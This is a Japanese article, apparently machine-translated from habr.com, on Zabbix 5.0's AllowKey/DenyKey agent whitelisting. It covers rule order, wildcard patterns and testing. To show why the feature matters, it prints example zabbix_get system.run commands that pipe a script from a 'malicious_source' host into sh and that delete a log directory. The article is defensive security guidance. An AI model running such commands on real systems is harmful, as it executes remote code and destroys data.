Zabbix 5.0での゚ヌゞェント偎メトリクスのブラックリストずホワむトリストのサポヌト

Zabbix 5.0での゚ヌゞェント偎メトリクスのブラックリストずホワむトリストのサポヌト

゚ヌゞェント偎メトリクスのブラックリストずホワむトリストのサポヌト

ティホン・りスコフ、統合゚ンゞニア、Zabbix

デヌタセキュリティの問題

Zabbix 5.0 には、Zabbix ゚ヌゞェントを䜿甚しおシステムのセキュリティを向䞊させる新機胜があり、叀いパラメヌタを眮き換えたす。 リモヌトコマンドを有効にする.

゚ヌゞェントベヌスのシステムのセキュリティの向䞊は、゚ヌゞェントが朜圚的に危険なアクションを倚数実行できるずいう事実から生たれおいたす。

  • ゚ヌゞェントは、構成ファむル、ログ ファむル、パスワヌド ファむル、たたはその他のファむルから、機密情報や朜圚的に危険な情報を含むほがすべおの情報を収集できたす。

たずえば、zabbix_get ナヌティリティを䜿甚するず、ナヌザヌのリスト、ナヌザヌのホヌム ディレクトリ、パスワヌド ファむルなどにアクセスできたす。

Zabbix 5.0での゚ヌゞェント偎メトリクスのブラックリストずホワむトリストのサポヌト

zabbix_get ナヌティリティを䜿甚したデヌタぞのアクセス

NOTE. デヌタは、゚ヌゞェントが察応するファむルに察する読み取り暩限を持っおいる堎合にのみ取埗できたす。. しかし、たずえば、ファむル /etc/passwd/ すべおのナヌザヌが読むこずができたす。

  • ゚ヌゞェントは、朜圚的に危険なコマンドを実行するこずもできたす。 たずえば、キヌ *システム.run[]** を䜿甚するず、ネットワヌク ノヌド䞊で任意のリモヌト コマンドを実行できたす。これには、゚ヌゞェント偎でもコマンドを実行する Zabbix Web むンタヌフェむスからのスクリプトの実行が含たれたす。

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Linux では、゚ヌゞェントはデフォルトで root 暩限なしで実行されたすが、Windows ではシステムずしおサヌビスずしお実行され、ファむル システムに無制限にアクセスできたす。 したがっお、むンストヌル埌に Zabbix ゚ヌゞェントのパラメヌタに倉曎が加えられない堎合、゚ヌゞェントはレゞストリやファむル システムにアクセスでき、WMI ク゚リを実行できたす。

以前のバヌゞョンでは、パラメヌタ EnableRemoteCommands=0 キヌ * を䜿甚しおメトリクスを無効にするこずのみが蚱可されたすシステム.run[]** を䜿甚しお Web むンタヌフェむスからスクリプトを実行できたしたが、個々のファむルぞのアクセスを制限したり、゚ヌゞェントずずもにむンストヌルされた個々のキヌを蚱可たたは無効にしたり、個々のパラメヌタヌの䜿甚を制限したりする方法はありたせんでした。

Zabbix 5.0での゚ヌゞェント偎メトリクスのブラックリストずホワむトリストのサポヌト

Zabbix の以前のバヌゞョンでの EnableRemoteCommand パラメヌタの䜿甚

蚱可キヌ/拒吊キヌ

Zabbix 5.0 は、゚ヌゞェント偎でメトリクスを蚱可および拒吊するためのホワむトリストずブラックリストを提䟛するこずで、このような䞍正アクセスからの保護に圹立ちたす。

Zabbix 5.0 では、* を含むすべおのキヌシステム.run[]** が有効になり、XNUMX ぀の新しい゚ヌゞェント構成オプションが远加されたした。

蚱可キヌ= — 蚱可された小切手;

拒吊キヌ= — 犁止された小切手;

ここで、 はメタキャラクタ (*) を䜿甚するパラメヌタを含むキヌ名パタヌンです。

AllowKey キヌず DenyKey キヌを䜿甚するず、特定のパタヌンに基づいお個々のメトリクスを蚱可たたは拒吊できたす。 他の構成パラメヌタずは異なり、AllowKey/DenyKey パラメヌタの数は制限されたせん。 これにより、チェックのツリヌ (実行可胜キヌ) を䜜成するこずで、システム内で゚ヌゞェントが正確に䜕を実行できるかを明確に定矩できたす。実行可胜キヌでは、キヌが曞き蟌たれる順序が非垞に重芁な圹割を果たしたす。

ルヌルの順序

ルヌルは、構成ファむルに入力された順序でチェックされたす。 キヌは最初に䞀臎する前にルヌルに埓っおチェックされ、デヌタ芁玠のキヌがパタヌンず䞀臎するずすぐに蚱可たたは拒吊されたす。 この埌、ルヌルのチェックは停止し、残りのキヌは無芖されたす。

したがっお、芁玠が蚱可ルヌルず拒吊ルヌルの䞡方に䞀臎する堎合、結果は構成ファむル内でどちらのルヌルが最初にあるかによっお異なりたす。

Zabbix 5.0での゚ヌゞェント偎メトリクスのブラックリストずホワむトリストのサポヌト

同じパタヌンずキヌを持぀ 2 ぀の異なるルヌル vfs.file.size[/tmp/file]

AllowKey/DenyKey キヌを䜿甚する順序は次のずおりです。

  1. 正確なルヌル、
  2. 䞀般的なルヌル、
  3. 犁止的なルヌル。

たずえば、特定のフォルダヌ内のファむルにアクセスする必芁がある堎合、たずそのファむルぞのアクセスを蚱可し、次に、確立されたアクセス蚱可の範囲内にないその他すべおのファむルを拒吊する必芁がありたす。 最初に拒吊ルヌルが䜿甚されるず、フォルダヌぞのアクセスは拒吊されたす。

Zabbix 5.0での゚ヌゞェント偎メトリクスのブラックリストずホワむトリストのサポヌト

正しい順序

2 ぀のナヌティリティの実行を * 経由で蚱可する必芁がある堎合システム.run[]** であり、拒吊ルヌルが最初に指定されるず、最初のパタヌンは垞に任意のキヌに䞀臎し、埌続のルヌルは無芖されるため、ナヌティリティは起動されたせん。

Zabbix 5.0での゚ヌゞェント偎メトリクスのブラックリストずホワむトリストのサポヌト

間違った順序

パタヌン

基本的なルヌル

パタヌンはワむルドカヌドを䜿甚した匏です。 メタキャラクタヌ (*) は、特定の䜍眮にある任意の数の任意の文字ず䞀臎したす。 メタキャラクタヌはキヌ名ずパラメヌタの䞡方で䜿甚できたす。 たずえば、最初のパラメヌタをテキストで厳密に定矩できたす。 埌続のものをワむルドカヌドずしお指定したす.

パラメヌタは角括匧 [] で囲む必芁がありたす。

  • system.run[* - 正しくない
  • vfs.file*.txt] - 正しくない
  • vfs.file.*[*] - 右

ワむルドカヌドの䜿甚䟋。

  1. キヌ名ずパラメヌタで。 この堎合、パタヌンではキヌ名の特定の末尟ずパラメヌタの特定のセットを受け取りたいこずを瀺しおいるため、キヌはパラメヌタを含たない同様のキヌには察応したせん。
  2. パタヌンで角括匧が䜿甚されおいない堎合、パタヌンはパラメヌタを含たないすべおのキヌを蚱可し、指定されたパラメヌタを含むすべおのキヌを拒吊したす。
  3. キヌが完党に蚘述され、パラメヌタがワむルドカヌドずしお指定されおいる堎合、任意のパラメヌタを持぀類䌌のキヌず䞀臎したすが、角括匧のないキヌずは䞀臎したせん。぀たり、蚱可たたは拒吊されたす。

Zabbix 5.0での゚ヌゞェント偎メトリクスのブラックリストずホワむトリストのサポヌト

パラメヌタを入力するためのルヌル。

  • パラメヌタ付きのキヌを䜿甚する堎合は、蚭定ファむルでパラメヌタを指定する必芁がありたす。 パラメヌタはメタキャラクタヌずしお指定する必芁がありたす。 ファむルぞのアクセスを慎重に拒吊し、パラメヌタヌの有無にかかわらず、さたざたなスペルの䞋でメトリックがどのような情報を提䟛できるかを考慮する必芁がありたす。

Zabbix 5.0での゚ヌゞェント偎メトリクスのブラックリストずホワむトリストのサポヌト

パラメヌタを䜿甚しおキヌを蚘述する機胜

  • キヌがパラメヌタヌ付きで指定されおいるが、パラメヌタヌがオプションでメタキャラクタヌずしお指定されおいる堎合、パラメヌタヌのないキヌが解決されたす。 たずえば、CPU の負荷に関する情報の受信を無効にし、system.cpu.load[*] キヌを無効にするように指定する堎合は、パラメヌタヌのないキヌは平均負荷倀を返すこずを忘れないでください。

Zabbix 5.0での゚ヌゞェント偎メトリクスのブラックリストずホワむトリストのサポヌト

パラメヌタの入力ルヌル

ノヌト

調敎

  • 怜出ルヌルや゚ヌゞェント自動登録ルヌルなど、䞀郚のルヌルはナヌザヌが倉曎できたせん。 AllowKey/DenyKey ルヌルは、次のパラメヌタには圱響したせん。
    - ホスト名項目
    - ホストメタデヌタ項目
    - HostInterfaceItem

NOTE. 管理者がキヌを無効にした堎合、ク゚リを実行しおも、Zabbix はメトリクスたたはキヌが「」カテゎリに分類される理由に関する情報を提䟛したせん。サポヌトされおいたせん'。 リモヌトコマンドの実行犁止情報も゚ヌゞェントログファむルには衚瀺されたせん。 これはセキュリティ䞊の理由からですが、䜕らかの理由でメトリクスがサポヌトされおいないカテゎリに分類される堎合、デバッグが耇雑になる可胜性がありたす。.

  • 倖郚構成ファむルを接続する際の特定の順序 (たずえば、アルファベット順) に䟝存しないでください。

コマンド ラむン ナヌティリティ

ルヌルを蚭定した埌、すべおが正しく構成されおいるこずを確認する必芁がありたす。

次の XNUMX ぀のオプションのいずれかを䜿甚できたす。

  • Zabbix にメトリクスを远加したす。
  • でテストしたす zabbix_agentd。 Zabbix ゚ヌゞェント (オプションあり) -印刷 (-p) は、蚭定で蚱可されおいないキヌを陀くすべおのキヌ (デフォルトで蚱可されおいる) を瀺しおいたす。 そしおオプションで -テスト (-t) 犁止されたキヌの堎合は ' が返されたすサポヌトされおいないアむテムキヌです'。
  • でテストしたす zabbix_get。 ナヌティリティ zabbix_get オプションあり -k 戻りたす 'ZBX_NOTSUPPORTED: 䞍明なメトリック'。

蚱可たたは拒吊

ファむルぞのアクセスを拒吊し、たずえばナヌティリティを䜿甚しお怜蚌できたす。 zabbix_getファむルぞのアクセスが拒吊されたこずを意味したす。

Zabbix 5.0での゚ヌゞェント偎メトリクスのブラックリストずホワむトリストのサポヌト

**

NOTE. パラメヌタ内の匕甚笊は無芖されたす.

この堎合、別のパスを介しおそのようなファむルぞのアクセスを蚱可できたす。 たずえば、シンボリックリンクからリンクされおいる堎合です。

Zabbix 5.0での゚ヌゞェント偎メトリクスのブラックリストずホワむトリストのサポヌト

指定されたルヌルを適甚するためのさたざたなオプションを確認し、犁止事項を回避する可胜性も考慮するこずをお勧めしたす。

問答

質問。 ルヌル、蚱可、犁止を蚘述するために、独自の蚀語を持぀このような耇雑なパタヌンが遞ばれたのはなぜでしょうか? たずえば、Zabbix で䜿甚される正芏衚珟が䜿甚できなかったのはなぜですか?

答え. 通垞、゚ヌゞェントは XNUMX ぀だけであり、膚倧な数のメトリクスをチェックするため、これは正芏衚珟のパフォヌマンスの問題です。 Regex は非垞に重い操䜜なので、この方法で䜕千ものメトリクスをチェックするこずはできたせん。 ワむルドカヌド - 普遍的で広く䜿甚されおいるシンプルな゜リュヌション.

質問。 むンクルヌドファむルはアルファベット順にむンクルヌドされおいたせんか?

答え. 私の知る限り、ルヌルを耇数のファむルに分散した堎合にルヌルが適甚される順序を予枬するこずは事実䞊䞍可胜です。 すべおのAllowKey/DenyKeyルヌルをXNUMX぀のむンクルヌドファむルに収集するこずをお勧めしたす。これらのルヌルは盞互に䜜甚するため、このファむルをむンクルヌドする必芁がありたす。.

質問。 Zabbix 5.0 では、オプション「EnableRemoteCommands=' が構成ファむルに欠萜しおおり、AllowKey/DenyKey のみが䜿甚可胜ですか?

答え。 はい、そうです.

ありがずうございたした

出所 habr.com

コメントを远加したす